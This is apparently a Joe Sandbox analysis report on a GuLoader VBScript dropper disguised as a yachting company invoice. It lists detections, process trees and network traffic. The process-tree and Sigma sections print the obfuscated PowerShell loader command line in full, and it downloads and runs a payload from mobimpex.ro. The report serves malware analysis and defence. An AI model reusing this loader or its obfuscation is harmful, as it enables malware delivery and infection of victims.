Edit tour

Windows Analysis Report
ADEX YACHTING Kft. REF HU03192025.vbs

Overview

General Information

Sample name:	ADEX YACHTING Kft. REF HU03192025.vbs
Analysis ID:	1643196
MD5:	835c949fce1c6098f41b21012eeebcb8
SHA1:	fe514f8af0e249db98e9ddfa5ce21020c4da13b4
SHA256:	85ae52ee28d81706237bb397f2bb52ce86173a3374b7f7629d9bc51ed4e99cfb
Tags:	GuLoaderHUNvbsuser-smica83
Infos:

Detection

GuLoader

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

VBScript performs obfuscated calls to suspicious functions

Yara detected GuLoader

Yara detected Powershell download and execute

Found suspicious powershell code related to unpacking or dynamic code loading

Joe Sandbox ML detected suspicious sample

Potential malicious VBS script found (suspicious strings)

Queries sensitive service information (via WMI, WIN32_SERVICE, often done to detect sandboxes)

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7424 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADEX YACHTING Kft. REF HU03192025.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 7524 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Grovellingly='func';Get-History;$Grovellingly+='t';Get-History;$Grovellingly+='ion:';(ni -p $Grovellingly -n Pigtraadsorkesteret -value { param($Tightwads);$Sildetnders=1;do {$budskabs+=$Tightwads[$Sildetnders];$Sildetnders+=2} until(!$Tightwads[$Sildetnders])$budskabs});ConvertTo-Html;(ni -p $Grovellingly -n Blodtrykkene -value {param($Tracings);.($Tussede) ($Tracings)});ConvertTo-Html;$Hakkelsemaskine=Pigtraadsorkesteret 'MN E,tK..w';$Hakkelsemaskine+=Pigtraadsorkesteret 'Ve BFcRLCIAeTNAt';$Pseu.lassic=Pigtraadsorkesteret ',M oIz i,lPl aU/';$Programmernes=Pigtraadsorkesteret 'rT lVs 1 2';$Fyndige=' [CNVe,ta. SLEBRDv.IFc E p o i NAT mTAFnLa gCEKR ] : :,sSE C u rPITTFy,P r,O t o CLo.lS=F$ pKRbO g REARM,m EHR NUeCs';$Pseu.lassic+=Pigtraadsorkesteret ' 5A. 0u ( WNiMn dCoUw.s FNLT, 1,0T.,0.;R .W iunD6 4S; HxN6.4 ;P r vA: 1,3 4U.V0K)T GAe cDkSo /,2 0i1P0H0,1 0 1U FLiIr eFfOo.xB/ 1 3B4C.D0';$Sldens=Pigtraadsorkesteret ',uAsHEErO-Ea g e.nTT';$tudemikkels=Pigtraadsorkesteret 'Thut t pRsD:,/ / m oLb iSm pte xM..r oS/BEgv,a keukeRrHi n gDsBv e lPswe r n.e,s,.LtAhDn';$Biharmonic106=Pigtraadsorkesteret 'S>';$Tussede=Pigtraadsorkesteret ' i E X';$Lyskurvene96='Survivalists';$Flystyrtenes='\daturism.Hyp';Blodtrykkene (Pigtraadsorkesteret 'Y$SG lLo bSA LS:Bv o kra T,iEVDs.=P$Te n,vU: aFp p d,AMT AE+C$AFRL y,s t.y R.t,EFnAeHs');Blodtrykkene (Pigtraadsorkesteret '.$PGHlZoUBFASlS: lTD eMRS= $ tuU D e M IMK.KHEHL sM. sBPDlRi TC( $hB iUHSaAr m O n IECA1 0S6 )');Blodtrykkene (Pigtraadsorkesteret $Fyndige);$tudemikkels=$Lder[0];$Afsejl=(Pigtraadsorkesteret ' $GG l,O B.ATLN:.UUDRS TTaTtUI.O nYe.r ERnEDKESSM= nKE wB-PoPB j EfcKT SNyUSMT,eSmy.B$BhpaiKJk eMl,S E MBa sTK iSn E');Blodtrykkene ($Afsejl);Blodtrykkene (Pigtraadsorkesteret 'C$,U dCsAt aTtUiSo nFeEr e nGdSeRsA.PHaeOa dCeFrDsK[ $ SKltd eFn.s ] =I$WP sPe u.d oMcHl a.sJs iAc');$Forlagshistoriers=Pigtraadsorkesteret ' $AU d sTtpaAt iSo n e r e.nAd,e sB. D o w n,l,oCa dTFDiElSe.(A$ t uGdTe mSiOk.k e lSsK,a$BD e lCl.aHvPoAlRpTi a nFe rFnSeDs,)';$Dellavolpianernes=$Vokativs;Blodtrykkene (Pigtraadsorkesteret ' $AGAL,ODbSaClM: m I S,GHISV ESS,= (HT EBS Tu-SPSaHt hB F$ d ESl,l ASvVO L p i a,NAEUrFN euSv)');while (!$Misgives) {Blodtrykkene (Pigtraadsorkesteret 'G$igblSo bSaElD:EOTiAe =.$UMUeDdTpIlPawn') ;Blodtrykkene $Forlagshistoriers;Blodtrykkene (Pigtraadsorkesteret 'V[ tAh r,eaA,d I N GD.DTUh.rTEKa Db] :P: sTLAE e P (S4G0H0 0V)');Blodtrykkene (Pigtraadsorkesteret 'R$ GOLGoBbBaML :UM i,SFgDITV e SM= ( tKE s t -NPSa t.H N$ND eTLBl ARV o L pEi,ACNRe RRnSe s,)') ;Blodtrykkene (Pigtraadsorkesteret 'B$ G.lOO bSA,l :ES KFrSi VvE TEIBL L aSdUePlDSGeAR N e SA=N$ GSlOoVbLA LV: bFa,u,sTo,N +B+ %u$ALHDUEGR . cso,UTN t') ;$tudemikkels=$Lder[$Skrivetilladelsernes]}$Losningens=329762;$Essayical=26899;Blodtrykkene (Pigtraadsorkesteret 'S$Ig,L o B,a LL: b.lRA nPk eSTiT ETN R=. FG eDt -McRoJn t e.NHT ,$Td e l l a v o lGP IaaNnFEKRMn eMs');Blodtrykkene (Pigtraadsorkesteret 'f$KgAl oSb a lB:,W,eCbBb a n kK = E[lSSy s,tPe mS.SC oSn v e rCt ]p: :KFBrNoAm B a.sUe 6,4KSMtVr.inn,g,( $pB.lRa.n kNeAtFtMeNn.)');Blodtrykkene (Pigtraadsorkesteret 'F$,G l O B a LM:,kFHmaClOS A. = ,[SsRYDsAt.eTmE.GTBe XVT,.MEBnSc oAdTiCN.g ] : :eA,S cOIGi . g Eat SRT R.ISnLgU(V$ wBESBUBTa,N K )');Blodtrykkene (Pigtraadsorkesteret 'T$ G l OTB.A l : bSEanUv aGRSm eNrSNFe S =T$bk,H,a L S aW. SWUPb SLTFr IFnCgT(w$ lDONsGn i NSg.E NuSU, $ e s s.A yFiSCGa LR)');Blodtrykkene $Benvarmernes;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5328 cmdline: "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Grovellingly='func';Get-History;$Grovellingly+='t';Get-History;$Grovellingly+='ion:';(ni -p $Grovellingly -n Pigtraadsorkesteret -value { param($Tightwads);$Sildetnders=1;do {$budskabs+=$Tightwads[$Sildetnders];$Sildetnders+=2} until(!$Tightwads[$Sildetnders])$budskabs});ConvertTo-Html;(ni -p $Grovellingly -n Blodtrykkene -value {param($Tracings);.($Tussede) ($Tracings)});ConvertTo-Html;$Hakkelsemaskine=Pigtraadsorkesteret 'MN E,tK..w';$Hakkelsemaskine+=Pigtraadsorkesteret 'Ve BFcRLCIAeTNAt';$Pseu.lassic=Pigtraadsorkesteret ',M oIz i,lPl aU/';$Programmernes=Pigtraadsorkesteret 'rT lVs 1 2';$Fyndige=' [CNVe,ta. SLEBRDv.IFc E p o i NAT mTAFnLa gCEKR ] : :,sSE C u rPITTFy,P r,O t o CLo.lS=F$ pKRbO g REARM,m EHR NUeCs';$Pseu.lassic+=Pigtraadsorkesteret ' 5A. 0u ( WNiMn dCoUw.s FNLT, 1,0T.,0.;R .W iunD6 4S; HxN6.4 ;P r vA: 1,3 4U.V0K)T GAe cDkSo /,2 0i1P0H0,1 0 1U FLiIr eFfOo.xB/ 1 3B4C.D0';$Sldens=Pigtraadsorkesteret ',uAsHEErO-Ea g e.nTT';$tudemikkels=Pigtraadsorkesteret 'Thut t pRsD:,/ / m oLb iSm pte xM..r oS/BEgv,a keukeRrHi n gDsBv e lPswe r n.e,s,.LtAhDn';$Biharmonic106=Pigtraadsorkesteret 'S>';$Tussede=Pigtraadsorkesteret ' i E X';$Lyskurvene96='Survivalists';$Flystyrtenes='\daturism.Hyp';Blodtrykkene (Pigtraadsorkesteret 'Y$SG lLo bSA LS:Bv o kra T,iEVDs.=P$Te n,vU: aFp p d,AMT AE+C$AFRL y,s t.y R.t,EFnAeHs');Blodtrykkene (Pigtraadsorkesteret '.$PGHlZoUBFASlS: lTD eMRS= $ tuU D e M IMK.KHEHL sM. sBPDlRi TC( $hB iUHSaAr m O n IECA1 0S6 )');Blodtrykkene (Pigtraadsorkesteret $Fyndige);$tudemikkels=$Lder[0];$Afsejl=(Pigtraadsorkesteret ' $GG l,O B.ATLN:.UUDRS TTaTtUI.O nYe.r ERnEDKESSM= nKE wB-PoPB j EfcKT SNyUSMT,eSmy.B$BhpaiKJk eMl,S E MBa sTK iSn E');Blodtrykkene ($Afsejl);Blodtrykkene (Pigtraadsorkesteret 'C$,U dCsAt aTtUiSo nFeEr e nGdSeRsA.PHaeOa dCeFrDsK[ $ SKltd eFn.s ] =I$WP sPe u.d oMcHl a.sJs iAc');$Forlagshistoriers=Pigtraadsorkesteret ' $AU d sTtpaAt iSo n e r e.nAd,e sB. D o w n,l,oCa dTFDiElSe.(A$ t uGdTe mSiOk.k e lSsK,a$BD e lCl.aHvPoAlRpTi a nFe rFnSeDs,)';$Dellavolpianernes=$Vokativs;Blodtrykkene (Pigtraadsorkesteret ' $AGAL,ODbSaClM: m I S,GHISV ESS,= (HT EBS Tu-SPSaHt hB F$ d ESl,l ASvVO L p i a,NAEUrFN euSv)');while (!$Misgives) {Blodtrykkene (Pigtraadsorkesteret 'G$igblSo bSaElD:EOTiAe =.$UMUeDdTpIlPawn') ;Blodtrykkene $Forlagshistoriers;Blodtrykkene (Pigtraadsorkesteret 'V[ tAh r,eaA,d I N GD.DTUh.rTEKa Db] :P: sTLAE e P (S4G0H0 0V)');Blodtrykkene (Pigtraadsorkesteret 'R$ GOLGoBbBaML :UM i,SFgDITV e SM= ( tKE s t -NPSa t.H N$ND eTLBl ARV o L pEi,ACNRe RRnSe s,)') ;Blodtrykkene (Pigtraadsorkesteret 'B$ G.lOO bSA,l :ES KFrSi VvE TEIBL L aSdUePlDSGeAR N e SA=N$ GSlOoVbLA LV: bFa,u,sTo,N +B+ %u$ALHDUEGR . cso,UTN t') ;$tudemikkels=$Lder[$Skrivetilladelsernes]}$Losningens=329762;$Essayical=26899;Blodtrykkene (Pigtraadsorkesteret 'S$Ig,L o B,a LL: b.lRA nPk eSTiT ETN R=. FG eDt -McRoJn t e.NHT ,$Td e l l a v o lGP IaaNnFEKRMn eMs');Blodtrykkene (Pigtraadsorkesteret 'f$KgAl oSb a lB:,W,eCbBb a n kK = E[lSSy s,tPe mS.SC oSn v e rCt ]p: :KFBrNoAm B a.sUe 6,4KSMtVr.inn,g,( $pB.lRa.n kNeAtFtMeNn.)');Blodtrykkene (Pigtraadsorkesteret 'F$,G l O B a LM:,kFHmaClOS A. = ,[SsRYDsAt.eTmE.GTBe XVT,.MEBnSc oAdTiCN.g ] : :eA,S cOIGi . g Eat SRT R.ISnLgU(V$ wBESBUBTa,N K )');Blodtrykkene (Pigtraadsorkesteret 'T$ G l OTB.A l : bSEanUv aGRSm eNrSNFe S =T$bk,H,a L S aW. SWUPb SLTFr IFnCgT(w$ lDONsGn i NSg.E NuSU, $ e s s.A yFiSCGa LR)');Blodtrykkene $Benvarmernes;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 5600 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000000A.00000002.2571136778.0000000008BF3000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 7524	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7524	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x37087b:$b2: ::FromBase64String( 0x3708b2:$b2: ::FromBase64String( 0x3708ea:$b2: ::FromBase64String( 0x370923:$b2: ::FromBase64String( 0x37095d:$b2: ::FromBase64String( 0x370998:$b2: ::FromBase64String( 0x3709d4:$b2: ::FromBase64String( 0x370a11:$b2: ::FromBase64String( 0x370a4f:$b2: ::FromBase64String( 0x370a8e:$b2: ::FromBase64String( 0x370ace:$b2: ::FromBase64String( 0x370b0f:$b2: ::FromBase64String( 0x370b51:$b2: ::FromBase64String( 0x2b3d1:$s1: -join 0x1cc270:$s1: -join 0x1d9345:$s1: -join 0x1dc717:$s1: -join 0x1dcdc9:$s1: -join 0x1de8ba:$s1: -join 0x1e0ac0:$s1: -join 0x1e12e7:$s1: -join
Process Memory Space: powershell.exe PID: 5328	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 5328	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xe0818:$b2: ::FromBase64String( 0xda194:$s1: -join 0x185f37:$s1: -join 0x1878a9:$s1: -join 0x2a0ae6:$s1: -join 0x863b0:$s3: reverse 0x925fa:$s3: reverse 0x112f27:$s3: reverse 0x114573:$s3: reverse 0x11483e:$s3: reverse 0x114eb1:$s3: reverse 0x115656:$s3: reverse 0x11da2e:$s3: reverse 0x1201c7:$s3: reverse 0x1205e1:$s3: reverse 0x121169:$s3: reverse 0x121e16:$s3: reverse 0x19bf93:$s3: reverse 0x1a904e:$s3: reverse 0x1c6445:$s3: reverse 0x1d2014:$s3: reverse

Other

Source	Rule	Description	Author	Strings
amsi64_7524.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_7524.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xf967:$b2: ::FromBase64String( 0xd69c:$s1: -join 0x6e48:$s4: += 0x6f0a:$s4: += 0xb131:$s4: += 0xd24e:$s4: += 0xd538:$s4: += 0xd67e:$s4: += 0xee9f:$s4: += 0xef1f:$s4: += 0xefe5:$s4: += 0xf065:$s4: += 0xf23b:$s4: += 0xf2bf:$s4: += 0x48be:$e4: Get-WmiObject 0x4aad:$e4: Get-Process 0x4b05:$e4: Start-Process
amsi32_5328.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc11b:$b2: ::FromBase64String( 0x9f34:$s1: -join 0x36e0:$s4: += 0x37a2:$s4: += 0x79c9:$s4: += 0x9ae6:$s4: += 0x9dd0:$s4: += 0x9f16:$s4: += 0xb737:$s4: += 0xb7b7:$s4: += 0xb87d:$s4: += 0xb8fd:$s4: += 0xbad3:$s4: += 0xbb57:$s4: += 0x1156:$e4: Get-WmiObject 0x1345:$e4: Get-Process 0x139d:$e4: Start-Process 0x1346b:$e4: Get-Process

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADEX YACHTING Kft. REF HU03192025.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADEX YACHTING Kft. REF HU03192025.vbs", CommandLine|base64offset|contains: `LF, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 496, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADEX YACHTING Kft. REF HU03192025.vbs", ProcessId: 7424, ProcessName: wscript.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADEX YACHTING Kft. REF HU03192025.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADEX YACHTING Kft. REF HU03192025.vbs", CommandLine|base64offset|contains: `LF, Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 496, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\ADEX YACHTING Kft. REF HU03192025.vbs", ProcessId: 7424, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Grovellingly='func';Get-History;$Grovellingly+='t';Get-History;$Grovellingly+='ion:';(ni -p $Grovellingly -n Pigtraadsorkesteret -value { param($Tightwads);$Sildetnders=1;do {$budskabs+=$Tightwads[$Sildetnders];$Sildetnders+=2} until(!$Tightwads[$Sildetnders])$budskabs});ConvertTo-Html;(ni -p $Grovellingly -n Blodtrykkene -value {param($Tracings);.($Tussede) ($Tracings)});ConvertTo-Html;$Hakkelsemaskine=Pigtraadsorkesteret 'MN E,tK..w';$Hakkelsemaskine+=Pigtraadsorkesteret 'Ve BFcRLCIAeTNAt';$Pseu.lassic=Pigtraadsorkesteret ',M oIz i,lPl aU/';$Programmernes=Pigtraadsorkesteret 'rT lVs 1 2';$Fyndige=' [CNVe,ta. SLEBRDv.IFc E p o i NAT mTAFnLa gCEKR ] : :,sSE C u rPITTFy,P r,O t o CLo.lS=F$ pKRbO g REARM,m EHR NUeCs';$Pseu.lassic+=Pigtraadsorkesteret ' 5A. 0u ( WNiMn dCoUw.s FNLT, 1,0T.,0.;R .W iunD6 4S; HxN6.4 ;P r vA: 1,3 4U.V0K)T GAe cDkSo /,2 0i1P0H0,1 0 1U FLiIr eFfOo.xB/ 1 3B4C.D0';$Sldens=Pigtraadsorkesteret ',uAsHEErO-Ea g e.nTT';$tudemikkels=Pigtraadsorkesteret 'Thut t pRsD:,/ / m oLb iSm pte xM..r oS/BEgv,a keukeRrHi n gDsBv e lPswe r n.e,s,.LtAhDn';$Biharmonic106=Pigtraadsorkesteret 'S>';$Tussede=Pigtraadsorkesteret ' i E X';$Lyskurvene96='Survivalists';$Flystyrtenes='\daturism.Hyp';Blodtrykkene (Pigtraadsorkesteret 'Y$SG lLo bSA LS:Bv o kra T,iEVDs.=P$Te n,vU: aFp p d,AMT AE+C$AFRL y,s t.y R.t,EFnAeHs');Blodtrykkene (Pigtraadsorkesteret '.$PGHlZoUBFASlS: lTD eMRS= $ tuU D e M IMK.KHEHL sM. sBPDlRi TC( $hB iUHSaAr m O n IECA1 0S6 )');Blodtrykkene (Pigtraadsorkesteret $Fyndige);$tudemikkels=$Lder[0];$Afsejl=(Pigtraadsorkesteret ' $GG l,O B.ATLN:.UUDRS TTaTtUI.O nYe.r ERnEDKESSM= nKE wB-PoPB j EfcKT SNyUSMT,eSmy.B$BhpaiKJk eMl,S E MBa sTK iSn E');Blodtrykkene ($Afsejl);Blodtrykkene (Pigtraadsorkesteret 'C$,U dCsAt aTtUiSo nFeEr e nGdSeRsA.PHaeOa dCeFrDsK[ $ SKltd eFn.s ] =I$WP sPe u.d oMcHl a.sJs iAc');$Forlagshistoriers=Pigtraadsorkesteret ' $AU d sTtpaAt iSo n e r e.nAd,e sB. D o w n,l,oCa dTFDiElSe.(A$ t uGdTe mSiOk.k e lSsK,a$BD e lCl.aHvPoAlRpTi a nFe rFnSeDs,)';$Dellavolpianernes=$Vokativs;Blodtrykkene (Pigtraadsorkesteret ' $AGAL,ODbSaClM: m I S,GHISV ESS,= (HT EBS Tu-SPSaHt hB F$ d ESl,l ASvVO L p i a,NAEUrFN euSv)');while (!$Misgives) {Blodtrykkene (Pigtraadsorkesteret 'G$igblSo bSaElD:EOTiAe =.$UMUeDdTpIlPawn') ;Blodtrykkene $Forlagshistoriers;Blodtrykkene (Pigtraadsorkesteret 'V[ tAh r,eaA,d I N GD.DTUh.rTEKa Db] :P: sTLAE e P (S4G0H0 0V)');Blodtrykkene (Pigtraadsorkesteret 'R$ GOLGoBbBaML :UM i,SFgDITV e SM= ( tKE s t -NPSa t.H N$ND eTLBl ARV o L pEi,ACNRe RRnSe s,)') ;Blodtrykkene (Pigtraadsorkesteret 'B$ G.lOO bSA,l :ES KFrSi VvE TEIBL L aSdUePlDSGeAR N e SA=N$ GSlOoVbLA LV: bFa,u,sTo,N +B+ %u$ALHDUEGR . cso,UTN t') ;$tudemikkels=$Lder[$Skrivetilladelsernes]}$Losningens=329762;$Essayical=26899;Blodtrykkene (Pigtraadsorkesteret 'S$Ig,L o B,a LL: b.lRA nPk eSTiT ETN R=. FG eDt -McRoJn t e.NHT ,$Td e l l a v o lGP IaaNnFEKRMn eMs');Blodtryk

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Compliance
• Software Vulnerabilities
• Networking
• System Summary
• Data Obfuscation
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: ADEX YACHTING Kft. REF HU03192025.vbs	ReversingLabs: Detection: 19%
Source: ADEX YACHTING Kft. REF HU03192025.vbs	Virustotal: Detection: 11%			Perma Link

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.5% probability

Source: unknown

HTTPS traffic detected: 188.213.33.77:443 -> 192.168.2.6:49695 version: TLS 1.2

Source:	Binary string: m.pdbpdbtem.pdb source: powershell.exe, 00000002.00000002.1455246166.0000019B7BCA1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\dll\System.pdb// source: powershell.exe, 00000002.00000002.1455246166.0000019B7BCA1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Core.pdbMc source: powershell.exe, 0000000A.00000002.2563824952.000000000705C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.1455246166.0000019B7BC50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\dll\System.pdb source: powershell.exe, 00000002.00000002.1455246166.0000019B7BCA1000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic	HTTP traffic detected: GET /Evakueringsvelsernes.thn HTTP/1.1Host: mobimpex.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Evakueringsvelsernes.thn HTTP/1.1Host: mobimpex.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Evakueringsvelsernes.thn HTTP/1.1Host: www.mobimpex.roConnection: Keep-Alive

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Evakueringsvelsernes.thn HTTP/1.1Host: mobimpex.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Evakueringsvelsernes.thn HTTP/1.1Host: mobimpex.roConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Evakueringsvelsernes.thn HTTP/1.1Host: www.mobimpex.roConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: mobimpex.ro
Source: global traffic	DNS traffic detected: DNS query: www.mobimpex.ro

Source: powershell.exe, 00000002.00000002.1419422353.0000019B6478B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B647E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mobimpex.ro
Source: powershell.exe, 00000002.00000002.1448986329.0000019B735D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63561000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.2544044724.00000000043D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.1419422353.0000019B647AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B6494D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B63B87000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B647C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mobimpex.ro
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63C07000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B63B83000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B647AF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B647AB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B6494D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B6478B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B63B6C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B63B87000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B647A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B647C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1419422353.0000019B63B7F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mobimpex.ro/Evakueringsvelsernes.thn
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63561000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000A.00000002.2544044724.00000000043D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: powershell.exe, 00000002.00000002.1448986329.0000019B735D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.1448986329.0000019B735D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.1448986329.0000019B735D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.1419422353.0000019B63786000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.1419422353.0000019B64578000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mobimpex.r
